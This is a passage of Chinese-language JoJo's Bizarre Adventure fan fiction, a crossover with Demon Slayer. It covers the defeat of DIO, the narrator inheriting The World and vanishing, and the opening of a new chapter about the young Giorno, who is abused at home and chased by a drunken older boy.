泰伦斯·T·达比从车库中开来了车,看着打着伞的dio大人,正犹豫该怎么告诉他坐在车里会晒到太阳,就见dio大人撑着伞,踹了一脚后备箱,砰得一声就合上了后备箱。
正当泰伦斯·T·达比目瞪口呆之时,里面用着冷酷无情的声音传出了命令,“快点给我开车,要像开着飞机那样的速度给我向仓库赶去。”
啊!不愧是dio大人,就是不拘小节!
来不及思考太多,泰伦斯·T·达比火速上车,猛踩油门就出发了。
毕竟,现在他也只有这一个选择。没有人能违背“dio”的命令。
说起来,dio大人的脖子上好像有一块凸起。是他看错了吗,应该是喉结吧.....
*
后备箱对于这具身体来说果然过于拥挤,我缩着身体,与脑内的乔纳森·乔斯达先生对话。
这个沉睡已久的灵魂,在苏醒来的第一天就得接收海量的信息以及……
“啊,我已经明白了,这是我们的作战计划吗?”
乔纳森的声音很和善,却让我感到有些愧疚。
“是的,但是……”我试图说些什么,但是嗓子眼像是卡住了一样,明明是灵魂间的对话,却仍然觉得说不出口。
什么话语对于接下来的行动而言都显得很苍白。
“之前没有将dio彻底地带离这个世界是我的失误,如果不是这样之后也不会发生这么多的事。你也不会失去自己的身体,真正应该愧疚的人是我才对。”
乔纳森·乔斯达的语气里甚至带着一丝安慰。“这是目前唯一能打败dio的方法,我也不想再有人因为dio而死了,这一切,早就该终结了。”
这是个完全正直温柔的人,他对陌生人都温和亲切。而这样的人,他的一生就被dio所毁,即使死后身体也要被dio占据。
人的命运,虽然不以道德为筹码来下注,但是品德高尚的人无论何时何地都会让人尊重。
似乎察觉到了我的低落,顿了顿,乔纳森·乔斯达试着语气轻快的发问,“李小姐你和我的子孙相处过吗?他们是怎样的人呢?”
“您的孙子很智慧温柔,是个有魄力是智慧的长辈;你孙子的外孙也很冷静聪明,看起来都很珍惜家人…他们和乔纳森先生您一样,都是带着崇高精神的人。”
“能得到李小姐你这样高的评价,真不错呢。我的子孙们真的成长为绅士了,艾丽娜应该是幸福地生活下去了吧。”
乔纳森·乔斯达的话刚落下,我感觉汽车缓缓停下,传来前方达比的声音。
“dio大人,目的地到了。”
“好,要开始行动了吧!”乔纳森·乔斯达说着,随后顿了一下,“李小姐,还请麻烦你替我给艾丽娜带一束花吧,可以吗?”
“……当然没有问题,乔纳森先生。谢谢。”
达比还没来得及做什么,后备箱自己从内弹射打开,里面的身影已经消失的无影无踪。
*
即使是现在,dio的替身能力依旧无法被摸透。
他像是戏弄着所有人一样,猫抓老鼠似的将所有人弄到浑身是伤。
这当然有拜“月彦”的完全对不上的情报所赐,他身上因为错误估量受了些轻伤,无论是空条承太郎的力量,还是波鲁那雷夫的脱去盔甲能加速到极致的秘诀,亦或者是那只野狗沙子一样难缠的替身,都让dio感到有些头疼。
但也仅仅是有些罢了。
“月彦”的身体在他的灵魂操纵下,也拥有良好的恢复能力。而且无论是速度和力量,都让他极其满意。
再加上现在,他已经基本摸透了这些家伙的替身能力,他们再也没有能展露的底牌了。除了空条承太郎的【白金之星】和他是同类型的替身有些棘手外,别的也不是问题。
他甚至还用不着在两个身体内自由穿梭来灵活战斗,只需凭借“月彦”的rou体加上【世界】便有办法灵活战斗。
现在,正是覆灭他们的好时机。
然而正当dio这么想着,仓库的大门却被踹开,一个身影立马闪进来,站在漏进来的阳光旁的阴影处。
dio看了过去,却再也无法转过头来,他的眼睛死死盯着来人。
dio看着自己的身体走来,一时间表情有些扭曲。
是月彦,不,不是。这感觉,这表情,他不会忘记的。
“乔纳森·乔斯达,不可能!你竟然还没有死吗!”
“乔纳森?!”乔瑟夫·乔斯达惊叫出声,他看着那张本来邪恶的脸上露出的充满斗志的正义表情,只感觉微妙的血脉联系再次链接。
这就是,艾丽娜奶奶的丈夫—他的爷爷吗?
乔纳森·乔斯达的目光停留在了乔瑟夫的脸上,又看向了空条承太郎,眼睛微微瞪大了一瞬,而后又强迫自己转移到了那个黑发女人的身上。
那种来自灵魂的邪恶气息,不会错的,是dio!
“dio,我从地狱回来了。”乔纳森·乔斯达表情严肃,对着dio摆出对战的姿势。
那张脸上露出的坚毅表情几乎是dio的噩梦。
明明是自己的脸,但是那样的神情,他太熟悉了,那是他人生最大的失败。
所以!
—— 【the world!】—
让时间停滞!
dio试图让自己沸腾的思绪冷静下来,就算jojo回到了身体里,可是他根本用不了替身。
他试着用“月彦”的身体小心地靠近“自己”的身体。乔纳森的复活大大出乎他意料,他必须谨慎对待。
然而,2s过去了。“自己”的身体依旧没动。
看来乔纳森果然只是虚张声势。dio松了口气,缓缓走到自己的身体旁。
但是,为了保险起见,还是要将自己的身体拿回来。自己灵魂在那具身体的时候,从来没有感受过乔纳森的存在,这回乔纳森的复活恐怕是因为自己的灵魂太久离开了□□。
所以,回去是上上之策。反正月彦的灵魂已经消散了,
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那具身体只要他想随时都能进入。但还带着他头颅的身体就不好说了,万一乔纳森选择用波纹攻击自己的身体,那么就危险了。
回身体吧,现在时间,开始流动!
当dio回到自己的身体时,他能感觉到乔纳森的一致被我完全地碾压。
呵,不过是死去的亡魂,竟然敢吓他。
dio冷哼一声,却敏锐察觉出了什么不对。
乔纳森在身上果然种下了波纹,但是这么多年了这具身体能产生的波纹比他担心的少多了,根本伤不到他。
可是,剩下的波纹袭击方向!怎么会是那里!
脖颈处,有什么东西发出了焦的气味。
dio一面躲开不知何时靠近的白金之星,一面慌忙的撕开自己的衣领。
那玩意,是因为波纹而烧焦的肉芽!可是,他身上怎么会有肉芽!
dio的身体躲过了白金之星,但正当他想往一旁阴影处躲去,一双有力的手却钳住了他的脚。
这个距离!
dio低头看去,目眦尽裂。被抛弃的本该倒在地上的“月彦”的身体此时复苏过来,黑色的眼睛一眨不眨地盯着他,有力的手将他往着阳光下拉。
而现在,他也无法再进去那具身体了。
“你竟然还活着!”dio身后的【世界】正挥拳向我踢来,一个沙子形成的盾牌在我身前闪现,替我抵挡了冲击。
“唔嗷!”是伊奇的保护。真是可靠的老大啊……
我喘口气,【世界】余波的力道我还能应付,我一手继续拽着dio的脚,以此为支点试图将他扳倒在阳光下。
“替身能力是暂停时间!”我嚎完,便专注着力道试图压倒dio。
【世界】的攻击还要袭来,但是我的同伴们已经赶到了,【银色战车】、【白金之星】替我挡下了【世界】,伊奇的沙子也替我施力。
果然,我是肉搏派啊!
我不再顾虑后背,使尽全力,与面目狰狞的dio进行角力。
他的暂停时间绝对不是能永不间断的用,在这么近的危险距离,我必须得趁着间隙将这具身体完全退到阳光下。
“the wor——”dio还没来得及喊出,紫光便笼罩着他。
【法皇之绿】的触手拿着阿布德尔和乔瑟夫·乔斯达趁着dio破坏大型紫外线照射仪时隐藏下的手电,稳稳地对着dio。
“这是最后的紫外线手电……”花京院典明喘着粗气,拖着自己在刚刚战斗中受伤的身体,努力操控着【法皇之绿】。
紫外线对于吸血鬼的伤害是巨大的,我趁着dio吃痛的那一瞬间,用尽所有力气把他扛了起来,彻底地暴露在阳光之下。
“不可能……我dio怎么会……”
阳光下,dio像一条油锅上上鱼,身体渐渐绽开伤口,不断地挣扎着,几乎都快要挣脱出来。
我被这个力道带得几乎要摔了过去,dio在我遮挡的阴影之下,惊喜地叫了一声。
【世界】发疯似的冲破了阻碍,我的手被那股巨力袭击,就快要松开了手。那具躁动的身体居然安分了一瞬,脸上显现是割裂的表情。
“我会将他带到地狱的,不会有人再受伤了。”
“jojo!你个疯子!你不想活着吗?这具身体是可以永生的!”
乔纳森的话与dio的声音先后出现。然而,永生无法诱惑一位带着遗憾的圣灵,阳光是对黑暗的最大制衡。
那具身体在阳光下以着极快的速度开始从焦炭化成灰烬。
消散前,从那张狰狞的脸上,我居然看到了一个祥和的笑——那是属于一个百年前的灵魂的完成宿命的解脱。
确定dio是真的化成了灰,我才缓缓松开了手,卸力坐下。
我回头看向虽然带伤,但是精气神还不错的向我走来的同伴们,忍不住笑了起来。
“好饿啊,去吃饭吧,这回我请客。”
83.乔斯达守护灵堂堂登场
虽然我嘴上说着要去吃饭,但现在显然还不是吃饭的时候。
我从地上站了起来,拍了拍身上的灰,看向了车旁的泰伦斯·T·达比。他此刻眼睛瞪得大大的,额头上满是汗水,一手拉着车门,见我看来,立马拉开车门纵身跳进驾驶座。
车内发出咔哒一声后,很快响起来引擎启动的轰鸣声,车后的排气尾管速度排出一溜烟。
眼看着车子就要跑了,我不得不向冲到了驾驶座旁,隔着窗,礼貌地敲了敲玻璃。
“诶?这么快就离开,不留下来再看看吗?”
然而,好心的招呼显然不能让这位刚看到老板化成灰的同事缓过来。
泰伦斯·T·达比脚猛踩着油门,然后死死的盯着我,胸口不断起伏,仿佛像在看什么怪物似的。
哎,真是没礼貌的同事,好歹回个话吧。
我叹了口气,敲车窗的力气大了些。玻璃上出现了蛛网的痕迹,稍稍再用力了一些,登时,玻璃便裂开了。
泰伦斯·T·达比双手下意识挡着脸,试图尽可能避开玻璃飞溅。
我这个方向倒是受不到什么影响。我小心捡了一块看起来没那么扎手的玻璃,将它掰了下来,一甩手扎进了轮胎里。
确定结结实实扎进了轮子里,我才舒出了一口气,对着满脸血痕的同事继续打了个招呼,“嗨,达比先生,现在可以停下来谈谈了吧。”
他的表情变得僵硬了起来,我迅速补充,“别这样看着我,车子我是不会赔的。”
[白金之星]、[法皇之绿]、[银色战车]也来到窗边,对泰伦斯·T·达比露出了和善的笑容。
泰伦斯·T·达比的脸上露出了一个勉强的笑,“有事好商量,有事好商量”,他的视线从破碎的车窗移开,又看车窗边和谐友好的替身们,嗓子里挤出干巴巴的哈哈两声。
他转过头,掸了一下身上的玻璃渣子,转头飞速扫了一眼副驾,又很快收回目光然后举起双手,“dio都已经死了,我和乔斯达家族也没有什么恩怨,不如放过我吧。我可没做过什么坏事呢~” 泰伦斯·T·达比说完,还用着右眼wink了一下。
?
我实在忍不住撇了撇嘴,皱着眉头,从上到下打量着达比的那张脸直到他wink的眼角变得僵硬为止。
身后传来一声“啧”。
没等我说什么,[法皇之绿]的触手从车窗处进去,将泰伦斯·T·达比捆得结结实实地,从车窗中拉出。
泰伦斯·T·达比也不是瘦弱类型的,就像被拔萝卜一样硬生生地拔出来,身上来沾着不少玻璃渣。他的替身怒而出来,而后被白金之星一拳打在脸上,怒而消失了。
泰伦斯·T·达比只能咬着牙,肿着半张脸,试图商量着什么,“要不温柔一点呢?”
波鲁那雷夫抱着手,听见他这话,非常做作地抖了抖自己身上的鸡皮疙瘩,“作为男人还要叫别的男人对自己温柔,噫!”
伊奇窝在波鲁那鲁夫的肩上,对此也很赞同,不屑地看着在地上的泰伦斯·T·达比。
我要留下泰伦斯·T·达比的原因也很简单,他是dio的管家,对于dio的一些事情应该比较了解。杀死dio并不是结尾,残存的部下和是否还有后手都是需要注重的事情。
咳咳,当然,关于dio还有多少资产这件事顺便了解一下也不坏吧。咳咳。
我对乔斯达先生说了自己的想法,在泰伦斯·T·达比那“你个叛徒”的眼神下分析了现在的情况。
当乔斯达先生的眼神落在泰伦斯·T·达比时,他还是打着哈哈,“哎呀,这些我都不知道啊,我其实也是被dio逼的呀,就和你一样啊月彦。”
伊奇的耳朵动了动,动了动爪子,无数的砂砾成为一个钩子钻入车中,取出了副驾驶上的什么。
我定睛一看,那是一个像是工具箱一样的东西。
“这个!”泰伦斯·T·达比的声音猛地大了起来,又讪讪地收了声音,咽了咽口水,只是眼神仍然跟随着工具箱。
伊奇的眼睛滴溜溜的在泰伦斯·T·达比的脸上打转。
看着工具箱在沙钩的控制下正要稳稳降落,泰伦斯·T·达比正要松口气,接过工具箱,那个沙钩就径直化为砂砾,工具箱摔在地上,直接打开了。
泰伦斯·T·达比一个闪身扑上去,试图遮住里面的东西,但是已经晚了。
工具箱中掉落出一排精致的人偶,一帧一帧地扭动着身体,嘴中发出凄厉的叫声--“达比!”
明明是大太阳,但是看着就叫人不寒而栗。
刚刚的“无辜论”泰伦斯·T·达比现在显然没话说了,他不得不承认自己的恶行--通过和对方进行游戏然后夺取战败者的灵魂作为玩偶玩弄。即使趴在地上,他的眼睛盯着玩偶,还是激动地颤了颤,显示出一种病态的迷恋。
“变态!”
“垃圾!”
“人渣!”
“败类!”
“牲畜!”
“...恶心!”
“汪汪!”
我们都选择对这个变态再补了几脚或者拳头,按着他头要求他释放那些被他禁锢的灵魂。
不过,释放到最后一个玩偶的时候,泰伦斯·T·达比变成猪头的脸上显现出一丝疑惑,他颤颤巍巍地讲手上的玩偶递给我。
“这个......绝不是我的!我还没收集过他!到底是哪个......”
比起之前看起来渗人的能兼职的恐怖片吉祥物的玩偶,这个玩偶看起来极其平和。蓝色的短发,健硕的身材,眨巴着略带困惑的眼睛,对着我露出了礼貌但略带疑惑的笑。
“咦,李小姐,这里是天堂吗?”
这张脸!和乔斯达先生和承太郎简直一模一样!
他是!
我努力使我捧着玩偶的手变得稳一些,但是声音里还是不自觉带上了颤音,“乔纳森先生,我想这里并不是天堂,我很难解释现在的情况,不过.....”
乔斯达先生,快来接过你的爷爷啊!
*
值得一提的是,在打完dio后,spw财团的人立马打电话告诉我们乔瑟夫先生的女儿贺莉小姐的身体奇迹般的好转了。
我们松了口气,在拷问完泰伦斯·T·达比时也高兴的力气大了些,找到了不少有用的信息
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。带着这些信息,进入dio的公馆,也顺利了很多。
[宠物屋]的攻击性依旧很强,它能听懂人的语言,在听懂了dio已死之后攻击变得更加狂暴了,俨然一副不死不休的样子。
在实力明显不敌我们的情况下,它最终选择了自己飞入了阿布德尔的[红色魔术师]创造的火海中,在生命的最后一刻仍然冷嘲地看着我们,遵循着它被刻下的使命。
有些因利而来的家伙一听dio已死就拍拍屁股恨不得有多远跑多远。
那些被诱骗或者强掳过来的少女们都被放走了,只是走廊里堆积的人体碎片还是让我们都沉默了。那不只有普通人,还有不少之前被认作dio下属的替身使者。
除此之外,有些仍然被dio所迷惑的少女甚至还拿着匕首准备袭击我们,dio的狂热信徒甚至还在谋划着刺杀。
不过,这一切在我顶着dio的壳子抠脚发表些三俗言论之后就好多了。恶人的救世主沦落为窝囊废,巨大的幻灭让他们几乎落泪。
总之,不同的人有不同的应对办法,只可惜,泰伦斯·T·达比没有记得所有人,我们并不知道是否还有一些无辜的少女在黑暗中丧失美好的生命。
公馆中所有的可疑的物件都被spw带走封存并进行研究,当然,在我强烈怀疑某些财宝、古董也有神秘内涵之后spw搬走了那些堆积如山的财宝。
这些确实有研究的必要,因为据泰伦斯·T·达比所说,dio还有着什么他不知道的计划。dio通过肉芽控制的商人、某些要员替他办事,某些东西即使没有dio在也会依旧运转着。
真是邪恶到头的家伙,还是说祸害遗留千年呢?
我忍不住感慨几声,然后忍不住再向spw财团的人员核对,“我名下的账户真的没有新增什么巨额财产吗?”
万能的spw财团的人员微笑地挂断了电话,继续向我重复着之前的答案,“没有呢。”
啧,所以我到底继承了什么啊!
我叹了口气,看向乔斯达先生肩头的乔纳森·乔斯达先生。
这位先生显然是位十足的绅士,虽然辈分很高,但是与大家相处的特别好。就连伊奇在他面前都变得乖巧了起来,可能是尊老吧(x)
不过乔纳森·乔斯达先生看向伊奇的眼神也充满着和蔼以及怀念,好像他确实有过这样的狗狗朋友一样。
总之,虽然不知道因为什么灵魂出现在人偶内,但是现在乔纳森·乔斯达先生看起来还能存在挺久的样子。
对此,乔纳森·乔斯达先生自己是怀疑也许还有什么未完成的使命。
乔斯达先生,阿不,现在还是叫乔瑟夫先生吧,则是开玩笑说他拥有了乔斯达家族的守护神,准备高高兴兴带着自己的爷爷去认认亲戚,然后,去给艾莉娜奶奶带一束花。
一切都很顺利。
直到,那个黄色的人型替身出现。
我看着站在我身旁的黄色人型替身,再看看不可置信的伙伴们,也觉得有些头疼。
“等等,先别欧拉还有绿宝石水花,银色战车也别打,当然红色魔术师也先别喷火,还有乔纳森先生你也别跳下来了!”
84.离开(二合一)
黄色人形替身的出现简直像是预兆着dio的诈尸,所有人都几乎是肌肉记忆一般地准备动手了。就连坐在乔瑟夫先生肩膀上的乔纳森先生虽然看不见替身,但还是跟随大家嗖一下弹射起步准备战斗。
不是!
该打的人已经化成灰了,大家现在先收收神通,快停下来!
在这一时刻,由于太过担心遭遇友情破颜拳了,我的脑中下意识产生了“要是时间能停止就好了”的念头。
而跟随着这个念头的产生,世界的一切在我眼前都发生了变化。
所有人的动作像是按下了慢速播放键,变得迟缓极了,动作几乎是一帧一帧在我眼前播放,而后放缓到几乎不动的地步。
不,不是他们不动了。
而是,时间,真的停止了!
我回头看了看那个黄色的人型替身,那个人型替身也歪了歪头,看着我,一副十分乖顺的样子。老实说,我之前直接看见[世界]这个替身的次数并不多,所以并不了解ta的性格。
不过一般说来人们也不会去研究替身的性格吧,毕竟替身是替身使者的精神能量,一般都是受着替身使者控制。
所以,现在[世界]这么老实的样子不会是因为dio死亡精神消散而变得傻了吧。我摸了摸下巴,围着[世界]转了一圈。ta似乎察觉了我不想让ta动,于是继续保持着歪头的样子站在原地。
糟糕,真的有点呆啊。总不至于是因为我继承了[世界]所以改变了ta的性格吧。
这个猜想颇有些微妙,我顿了顿,总觉得不能再想下去,于是半是逃避地移开视线,然后转头看向了动作停滞的伙伴们。
我现在,基本上已经确认了我从dio那里继承来的东西了--[世界]
我现在能感受到这种玄妙的状态,就像一二三木头人一样,所有人都像是像是被定住了,而唯有自己能够活动。在意识到这点后,我内心也难以抑制产生了一种这个世界唯我独尊的感觉。
暂停时间,真是bug级的能力啊。
这样子赶死线或者干活完全一天当作两天用啊!而且趁时间暂停的时间里狂点鼠标绝对能成为抢票高手吧!完全不担心自己以后的生计了呢!
丝毫没意识到自己的想法多么没出息,我继续沾沾自喜地在时间静止的世界中走动,[世界]默然不语跟在我身侧。
我弯腰从[法皇之绿]下钻过,顺手将从乔瑟夫先生肩头跳下的乔纳森先生稳稳放回去,然后忍不住捏了捏[法皇之绿]像是翡翠一样的漂亮触手。不过因为只有替身才能触碰替身,我没有意外地摸一场空。
真是可惜。
我的视线又忍不住移向波鲁那鲁夫肩头的伊奇,它倒是很淡定,没有叫出替身,只是依然岿然不动地躺在波鲁那鲁夫的肩头。
不愧是伊奇老大!
我的目光凝视在伊奇的头顶上,咽了咽口水,眼睛向四周警惕的瞟了一圈,然后以迅雷不及掩耳之势果断上前摸了一把而后火速撤退。
哎嘿,真是跟我想的一样舒服。而且由于平日里根本不能摸,现在更有一种刺激感,使得手感加倍的好。
不过,[世界]可以静止多久呢?
在静止的时间内,只有我自己走动着,就像一个人走在什么历史博物馆内,所有的人和物都是被陈列在展柜中,似乎与我有着天然的壁垒。
或许在某种意义上,能够暂停时间的人也是时间的囚徒。
我还没来得及进行些哲学的伤感,目光又忍不住移到了[白金之星]上。随着利落的出拳动作,[白金之星]的头发和衣物都呈现出飘扬的姿态。
而白金之星的衣物,就只是兜裆布啊,现在还是飞扬在半空的兜裆布啊!
这是什么不要看哪里挑战吗?替身衣料这么少真的好吗?[世界]也是一样啊,以人类的标准来看都得被抓起来吧!这不会是精神开放的表现吧?
我一时间槽多无口吐,只是看着那飞扬的布料瞳孔地震。
只是,我突然感受到了一种异样的感觉,有人正在看着我的动作。那是在静止的时间中做出的“新”动作。
我转头朝那方向看去,只见空条承太郎眨了眨眼睛,略带疑惑和戒备的看着我。
......
......
等等,你为什么也能在静止的时间里动起来啊,而且偏偏在这个时候,我现在还能解释点什么!
时间,快继续流动啊!
为了避免社死悲剧,在时间流逝前的一秒,我就从波鲁那雷夫的肩头抱走伊奇,然后跳的离大家的射程范围内远了一些。
时间,开始流动!
“是我!伊奇能为我作证,替身的事情让我稍后解释!”我先发制人举起了伊奇,然后立马发表我的无辜宣言。
被迅速转移的伊奇楞了一下,下意识想龇牙,只是在看到我后又皱起了眉头,然后从鼻腔里发出了不高不低的一声“哼”。
“我之后会给您买10包咖啡味口香糖的!”这话勉强哄好了伊奇,它从我手上跳下,召唤出[愚者]挡在我身前。
伊奇对我的认可加上我的解释终于让大家从条件反射的攻击中停下,再加上我躲避得宜,总的来说算是虚惊一场。
望着放松下来的众人,此时我心里居然还有一丝想法,如果这个时候变成dio的模样……
不行,太糟糕了。我不会还继承了什么dio的坏品质了吧。那样子逃进黄河也洗不清了吧。
我立马止住自己脑袋里的想法,再次看向对面。
乔纳森先生奇怪地看了看自己,似乎不明白自己怎么又重新回到了自家孙子的肩上。他顿了顿,小人偶的嘴一张,问出了关键问题,“李小姐,你现在难道也可以像dio那样暂停时间了吗?”
“唔,现在看来确实是这样的,我们先去吃饭吧,感觉要解释的东西有些多。”
趁现在dio给我的赃款还能用,先花掉一些吧!
我死死避开承太郎望向我诡异的视线,在前头带着大家直奔餐厅。
*
“总的来说,我似乎能继承被我杀死的雇主的部分东西,所以,现在,我应该是继承了dio的[世界]吧。”
我喝了点开胃酒,言简意赅地说了一下为什么[世界]会出现在我身边。
“哈,还能这样吗?这难道是你的替身的能力吗?那你是怎么知道这点的呢?”波鲁那鲁夫挠了挠头,直击重点。
餐厅内出现了片刻的静默。
我垂下了眼,看向了杯中的开胃酒。酒液中映出我的脸,没有什么表情。
这是我一直没向人坦露的东西,比起说是什么不可言说的秘密,这对我来说更像是一种难以吐露的经历,因为分享这类经历并没有什么用。
我不知道穿越的原因、契机,即使告诉他人可能也只是给他人徒增烦恼。
这或许就是无常的命运呢?无论是“干一行倒一行”的诅咒,还是莫名其妙地穿越,我都不能理解。即使努力好好生活,但是只要命运女神拨弄手指,我似乎就只能像浮萍一般随之游动。
沉默的时间有些长了。
被花京院典明在桌下肘击一下的波鲁那鲁夫似乎明白了自己问出的是什么,他张开嘴,看上去像是要说什么话,但最终克制住自己没说出来。
“要不我们先吃饭吧,已经知道了[世界]为什么还会存在就已经足够了。”乔瑟夫先生开口了,表情很是温柔,试图跳过这个我不想回答的问题。一旁的乔纳森先生注视着我,即使是玩偶的样貌,也明显地带着关切的意味。
伊奇点了点头,看向我给它备着的咖啡味口香糖。花京院典明也是微笑着点头接话,“正好我也饿了,不如就吃饭吧。”空条承太郎和阿布德尔拿起餐刀,用行动示意可以直接跳过这个话题。
啧,这样也太体贴了一些吧。
我缓缓地从嘴中吐出一口气,转头一一对上了他们的视线,“波鲁那鲁夫提的是个好问题,不过讲起来是个不短的故事哦。”
没等他们回答,我就将莫名其妙穿越到平安时期,变成鬼,大致是怎么干掉鬼舞辻无惨,然后莫名其妙来到这里的经历简单说了一遍。
说完后,我又给自己灌了点酒,顺便配了些餐食,留了时间给他们接受这巨大的冲击。
咽下了嘴中的饭,压下了心中莫名其妙升腾的情感,我感觉自己终于缓过来了。
抬起头,我就看来大家脸上一致的表情,那种眼里透出的关切让我一时间有些手足无措了起来。
没人要问我到底是怎么回事吗?我可是很酷的穿越者呢,干翻了两个鬼王呢,虽然未来的彩票号和过去贵族的墓在哪里我还不知道就是了.....
我突然感觉手旁一阵温热,原来是伊奇靠了过来。平常禁止触碰的皮毛紧紧地贴着我,我能感受着它的体温甚至是小小身体内心脏跳动的频率。
也是因为伊奇靠过来,我才意识到,自己的手不知道什么时候开始在微微颤抖着。
啊.....真是糟糕
我一时间不知道说什么,却听见花京院典明的声音,“李小姐,我会去调查关于穿越的事情的,穿越的谜题一定能解开的。”我抬头看去,他的眼
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里满是坚定。
“也别落下spw财团和乔斯达地产啊,我们可是遍布世界呢,区区穿越之谜肯定手到擒来啦。”乔瑟夫先生拍着胸脯,笑得很爽朗。
“占卜师也是不可或缺的角色哦!”阿布德尔点了点自己,对我一笑。
“关于继国家族了话,我们家的书房里可能有相关的书,我回去会查看的。”空条承太郎这回抬了抬帽子,眉毛微微上扬。
波鲁那鲁夫左看右看,急的忍不住拍了一下大腿,“不管哪里,你要去探查了话可以叫上我作为护卫。”
眨了眨眼睛,我用尽全力收回自己快要溢出来的某种情绪,“谢谢.....你们这么说我可就不客气了!”
说着,门外有人敲了敲门,是之前spw财团的人带着几只奇怪的箭过来了。
因为我之前说着自己可能是被箭扎后才能看见替身,所以烦请他们留意一下这些。没想到这么快就找到了。
我打开门,接过了装着箭的盒子,面对着众人打开--形状奇怪的箭静静躺在那里。
此时,天色有些暗了,这家店的电灯并不算亮,为了更清楚地看清细节,我拜托阿布德尔先生为我点燃了一根蜡烛。
我拿起一支箭,用着烛火细细端详,也没看出什么名堂。
我确实不记得扎我的箭的样子了,长得跟这些好像都有点像啊。就是这玩意让我为dio更好的打工就像给员工配备电脑一样让我能看见替身吗?
一想到刚刚结束的那份工作,我忍不住皱起眉头。现在有着这么多朋友,我应该可以问问有没有一些看起来运气好一点的人能作为我的雇主。
毕竟dio给我留下的赃款不多,生活还得继续呢。我想回故乡看看,虽然这个时间点我还没出生,但是果然还是想回去啊。
而且既然dio已死,我还能回霓虹看看,既然继国家有记载,那,看看他们的后代吧。
我看着箭,思绪发散,心中一时间充满着对未来美好的期望。
但我从箭上的反光看见正对着我的花京院典明表情微变,他伸出手,试图拉着我,但是,没成功。
花京院接着从衣服上扯下一颗纽扣,直接扔向我身后。
但没有任何声响,纽扣消失了。
发生了什么?
我只觉身后有些发凉,好像有什么我看不见的东西出现了。
伊奇嘴中发出低沉的怒吼,[愚者]要冲向我,但是被某种力量弹开。空条承太郎喊出[白金之星·the world],试图用他在时间停止中感受到的那神秘的灵感,来停止时间,但是根本没用。
时间依旧流转。
我的手一空,手中的箭像是被什么东西直接吞噬了,全然消失在我的眼前。
一种熟悉的感觉再次袭击我。我察觉到了来自某个世界的大门已经打开。
这个感觉!
[The World!]
我疯狂呼唤着时间暂停,看见着众人动作停止,我终于松了口气。
好,在这个停止的时间内我一定内找出袭击我的人的!
我咽了口唾沫,绷紧了全身的肌肉,迅速转身,果然看到了某些东西!
但,那是我不能理解的东西。
扭曲的不成形的面貌,难以言状的感受,我一时间想到了大家看见我[替身]的表情。
这是我的替身?比起替身,ta更像是咒灵一样的东西,即使说是诅咒也不为过。
但如果只是诅咒了话我也不至于像现在这样惊恐。
因为,我从这家伙身上感受到的,是一种熟悉的感觉。
到底为什么会熟悉啊?!
可是还没等我想出什么所以然,我就看见那东西向我扑来,纵使我调动了全身的力气和速度,我竟然还是躲不开。
它就像是和我密不可分的存在,将我紧紧地笼罩着,我觉得有些窒息却又觉得无法抗拒,我快要溺死却又觉得自己即将得救。
为什么?
我试图从它无形的躯体中抓住什么,只摸到了一片金属的冰凉,而后眼前就一黑。
不,等等,the world,时间给我停下来!至少,至少让我再留一会,我连再见都还没来得及说!
至少,让我,说声再见。
*
几乎就像是在1s内发生的事,即使连眼睛都没眨,却还是无法捕捉到那个刚才还在仔细看着箭的黑发女人的身影。
蜡烛和盒子掉落在地上,发出清脆的声音。蜡烛的火点燃了桌布,现在,没人在意。
李,于19xx年,消失。
85.巷中怪人
乔鲁诺·乔巴纳发现了巷子里的怪人。
说是发现,其实也不算。倒不如说是意外撞见的。
依旧是平常的一天,他平凡地走在路上,背着沉重的书包,不合身的裤子摩挲着他腿上的淤青和伤口,让他疼得忍不住吸了一口气。
肯定是伤口又裂开了,乔鲁诺·乔巴纳摸着渗出血迹的布料,不知道该怎么办。那个男人和母亲住的地方的纱布已经用完了,他手里没有钱,也不能去买个创口贴。
乔鲁诺·乔巴纳试图卷起裤子,但是那个伤口在大腿处,不合身的裤子卷到小腿就已经卡住了。
裤子沾着血,那个他应该称作继父的家伙又能找到理由,来用皮带或者酒瓶来打他。
而母亲,她很忙,她要忙着打扮、出去玩耍,然后在带着有些臭的酒气回家。对于他身上的伤口,她并不是不知道,只是看了一眼就会叫他自己注意点,而后依旧烦恼着手头的唇膏色号是否适合今夜的聚会。
有这样的“家长”,是会叫人注意的。但是比起什么福利机构,镇上的一些混混小孩更先注意到了这点。就在这依旧平凡的一天,石头、用过的纸巾伴随着他们的嬉笑,依旧向他飞奔而来。
石头砸到身上会痛,用过的纸巾里面的东西碰到皮肤会很恶心。乔鲁诺·乔巴纳已经习惯性地抱住了自己的脑袋,打算快步走过这段路。
可是,虽说今天是平凡的一天,但是那些混混小孩手上却还拿着与往日不同的东西--那是他们不知从哪里偷来的餐刀。
餐刀,金属的切面能照亮小混混有些泛红的脸颊。
他是这群混混小孩中的年长者,或许今天是喝了底下小屁孩偷的不错的葡萄酒喝的缘故,在一群人的簇拥中,他看着手指间随着心意转动的餐刀,心中升起了些豪情壮志。
我是个能干大事的家伙,现在,我应该找个人练练刀。
小混混模仿着电影里看到的杀手的样子,一般向前走去一边用指尖停住餐刀。
cool!
平稳停在指腹的餐刀就像停在停机坪的飞机。小混混发出了一阵带着酒气的狂笑,改而用握住餐刀手柄,打算进行投掷。
而投掷的对象,就拿那个卷着裤子的烦人小鬼吧。谁叫他总是一副死人的表情,看着就来气。
乔鲁诺·乔巴纳在意识到身后那个发了酒疯的混混准备拿刀扔他时,不免有些慌了神。
他只是一个5岁的孩子,个子只到那个混混的腹部。纵使他扔下沉重的书包,忍着腿上的痛快速穿进错综复杂的小巷,用尽全力奔跑也无济于事。
那个背后的带着酒气的身影却依旧如影随形。混混的跟班喧闹着追随着。
即使有路过的大人也不敢靠近他们。这些小混混的头据说已经和黑.手.党扯上关系了,他们根本没必要为一个不在乎的异乡孩子出头。反正也只是打一下,闹不出人命。
乔鲁诺·乔巴纳只能在白天被一群醉酒小混混追逐,似乎这样他们就能感受到暴力的权威。
往左,往右,不对,上一个路口应该向左走的!
一个长期营养不良而且带伤的小孩,就算再怎么冷静,也难免会失误。
而失误,在关键时刻,很致命。
现在,看着面前的死胡同,乔鲁诺·乔巴纳无法再向前奔跑,他转过身,警惕地看着拿着餐刀的混混。
身后的混混本就是在猫抓老鼠一样戏弄他,现在一看是死胡同,直接一脚踹向乔鲁诺·乔巴纳。
这一脚结结实实地踹在了乔鲁诺·乔巴纳大腿的伤口附近。乔鲁诺·乔巴纳跌倒在地上,发出一声惨叫。
不行,这个混混喝酒了,现在正上头,他可能真的会用那把餐刀杀了我。乔鲁诺·乔巴纳在被遮挡的阴影中,小心抓起地上的一把土,死死咬住嘴唇。
